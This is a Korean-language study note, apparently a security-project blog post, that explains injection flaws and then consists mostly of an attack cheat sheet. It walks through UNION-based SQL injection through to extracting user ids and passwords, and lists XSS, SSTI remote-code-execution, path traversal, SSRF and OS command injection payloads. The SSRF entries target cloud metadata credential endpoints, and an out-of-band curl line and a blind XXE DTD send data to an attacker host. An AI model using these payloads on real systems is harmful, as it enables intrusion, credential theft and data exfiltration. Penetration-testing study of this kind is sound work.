[보안 프로젝트] Injection

1. Injection이란

- Injection은 사용자가 입력한 값이 명령문, 질의문, 템플릿, 해석기(interpreter) 안에 의도하지 않은 형태로 섞여 들어가면서, 애플리케이션이 원래 설계와 다른 동작을 하게 만드는 취약점이다.

 

2. Injection이 위험한 이유

- Injection은 성공시 인증 우회, 데이터 조회 / 변조 / 삭제, 관리자 권한 획득, 서버 명령 실행, 내부 시스템 접근, 민감정보 유출, 시스템 장애 유발등의 문제로 이어질 수 있음

 

3. Injection의 공통 발생 원리

1) 사용자 입력이 들어옴
2) 서버가 입력값을 문자열로 이어붙임
3) 해석기가 그 문자열을 실행/평가 함

 

4. SQLI 접근 방법

1) 출력  위치 확인

- 가장 먼저 어떤 칸에 데이터가 나오는지 확인
- id = -1 UNION SELECT 1, 2, 3, 4--
- 이에 대한 결과로 만약 2와 3이 출력된다면, 2번과 3번 자리에만 데이터를 넣어 SQLI를 적용시킬 수 있음

2) 정보 추출

- 화면에 보이는 2번과 3번 자리 공략

1) DB 이름 및 버전 확인

- id = -1 UNION SELECT 1, database(), version, 4--

2) 테이블 이름 추출

- group_concat을 사용하여 여러 테이블 이름을 한꺼번에 2번 자리에 출력
- id = -2 UNION SELECT 1, group_concat(table_name), 3, 4 from informaion_schma.tables where table_schema=database()--

3) 컬럼 이름 추출

- 찾아낸 테이블(예: users)의 컬럼들을 2번 자리에 출력
- id = -1 UNION SELECT 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name='users'--

4) 최종 데이터 탈취

- id=-1 UNION SELECT 1, id, pw, 4 from users--

 

5. payload

1. XSS

- true';alert(1);'
- " autofocus onfocus="alert(1)
- \<svg onload=alert(1)>
- \<img src=x onerror=alert(1)>
- \<details open ontoggle=alert(1)>
- \<video>\<source onerror=alert(1)> 
- \<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 
- (HTTP Entity Encoding)
- \<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">\</iframe>
- (Base64 Encoding)
- \<svg onload="location='javascript:alert\x281\x29'">
- ()우회
- \<img src=x onerror="Function(atob('YWxlcnQoMSk='))()">
- \<svg onload="eval(atob('YWxlcnQoMSk='))">

 

2. SSTI

- \#{7\*7}
- ${7\*7}
- {{7\*7}}
- {{config}}
- ${T(java.lang.Runtime).getRuntime().exec('id')}
- ${T(java.lang.System).getenv()}
- {{\_self.env.registerUndefinedFilterCallback("exec")}}
- {{self.\_\_init__.\_\_globals__.\_\_specs__['os'].popen('id').read()}}
- {{''.\_\_class__.\_\_mro__[1].\_\_subclasses__()\[407]('id',shell=True,stdout=-1).communicate()[0]}}
- {{\_self.env.getFilter("id")}}
- {{import('os').sleep(5)}}

 

3. Path Traversal

1) Linux/Unix 계열

- file:///etc/passwd
- file:///etc/shadow
- file:///etc/hostname
- file:///etc/issue
- file:///proc/self/fd/[ID]
- file:/// bypass
- file://
- file:/
- file://localhost/
- file:///proc/self/environ

 

2) Windows 계열

- file:///C:/Windows/win.ini
- file:///C:/Windows/System32/drivers/etc/hosts
- file:///C:/Windows/system32/config/SAM

 

3) Application framework 설정 파일

1) Java/Spring

- WEB-INF/web.xml
- application.properties
- pom.xml
  

2) PHP

- config.php
- .env
- php.ini
  
3) Node.js
- package.json
- .env
  
4) Python/Django
- settings.py

 

4) Log파일 경로

1) Apache
- /var/log/apache2/access.log
- /var/log/httpd/access_log
  
2) Nginx
- /var/log/nginx/access.log
  
3) SSH
- /var/log/auth.log
  
4) Mail
- /var/log/mail.log
  
5) bypass
- URL Encoding : %2e%2e%2f
- URL Encodingx2 : %252e%252e%252f
- NullByte : ../../etc/passwd%00
- Path bypass : ....//

 

4. SSRF

1) bypass

- http://2130706433 (Demical IP)
- http://0177.0.0.1 (Octal IP)
- http://0x7f.0x0.0x0.0x1 (Hex IP)
- http://127.0.0.1.nip.io
- http://localtest.me

 

2) Cloud Metadata

1) AWS/EC2
- http://169.254.169.254/latest/meta-data
- https%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data
- http://169.254.169.254/latest/meta-data/iam/security-credentials/[role_name]

 

2) Google Cloud
- http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

 

3) Azure
- http://169.254.169.254/metadata/instance?api-version=2021-02-01

 

3) Dict
- dict://127.0.0.1:11211/stat

 

4) SSRF & FIle(Path Traversal or LFI)
- http%3A%2F%2F127.0.0.1/../../../../../../../etc/passwd
- https%3A%2F%2F127.0.0.1%2f%2e%2e%2f
  %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

 

5. OS Command Injection

1) 연결 연산자

- Linux/Unix :  ;, &&. ||, |, \n
- Windows : &. &&. ||, |

2) Blind

- Time-based : ; sleep 5 #
- Out-of-Band(OOB) : ; curl http://attackerIP.com/$(id)

3) Bypass

- 공백 : ${IFS}, $IFS$9, <(Redirection), ls\${IFS}-al
- 문자열 : c'a't /et'c'/pas\swd
- 환경 변수 활용 : echo $PATH (PATH 변수의 특정 글자를 조합해 명령어 생성)

4) Command Substitution

- $(command) (Standard Bash/Posix) ex) echo $(whoami $(id))
- 'command' (Backticks) 
- <(command) (Process Substitution) 
- cat <(id)라고 입력하면, 서버는 id 실행결과를 담은 /dev/fd/63 같은 임시 파일을 읽게 됨
- 활용방안으로는 직접적인 텍스트 삽입이 막혔을 때, 파일을 읽어 들이는 함수(ex: php_include, file_get_contents) 등에 명령 결과를 파일인 척 밀어 넣을 때 사용

* windows *
- echo %USERNAME%
- echo %COMPUTERNAME%
- ping %USERNAME%.attacker.com
- echo "Current user is $(whoami)"

 

6. XXE

1) In-band

<?xml version="1.0"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
 ]>
 <user>&xxe;\</user>

- Windows: file:///C:/Windows/win.ini

2) SSRF 및 내부망

<!DOCTYPE test [
	<!ENTITY xxe SYSTEM "http://192.168.0.1:8080">
]>
<user>&xxe;\</user>

3) Blind XXE (Out-of-Band)

- 결과가 화면에 나오지 않을 때, 외부 서버로 데이터를 전송

 

1) attacker server에 test.dtd 생성

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://공격자서버.com/?data=%file;'>">
%eval;
%exfiltrate;

 

2) victim server에 전송할 payload

<!DOCTYPE test [
    <!ENTITY % remote SYSTEM "http://공격자서버.com/test.dtd">
    %remote;
]>